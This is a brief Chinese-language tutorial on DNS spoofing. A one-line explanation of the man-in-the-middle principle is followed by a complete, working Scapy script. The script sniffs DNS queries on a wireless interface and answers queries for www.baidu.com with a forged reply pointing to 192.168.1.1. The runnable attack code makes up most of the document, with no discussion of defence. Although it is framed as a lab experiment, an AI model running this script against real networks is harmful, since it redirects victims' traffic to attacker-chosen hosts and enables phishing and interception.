DNS欺骗

原理：

dns欺骗又可以叫作中间人人攻击，主要是通过拦截受害人在访问某个网站时设备向外发送的dns请求，然后给出伪造的dns应答，实现欺骗过程。

实验脚本如下：

from scapy.layers.dns import *

from scapy.all import *

def dns_spoof(pkt):

    testlist = ["www.baidu.com"]

    #haslayer()用来判断数据包中是否包含某一个协议，getlayer()用来提取出该协议内容

    if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:

        ip = pkt.getlayer(IP)

        udp = pkt.getlayer(UDP)

        dns = pkt.getlayer(DNS)

        testdomain = dns.qd.qname.decode()[: -1]
　　　　　#构造dns应答数据包，其中192.168.1.1为要伪造的网站的ip地址

        if testdomain in testlist:

            resp = IP(src=ip.dst, dst=ip.src)

            resp /= UDP(sport=udp.dport, dport=udp.sport)

            resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, rdata="192.168.1.1"))

            send(resp)

            print("DNS的应答已经被篡改")

sniff(filter="udp dst port 53", iface="WLAN", prn=dns_spoof)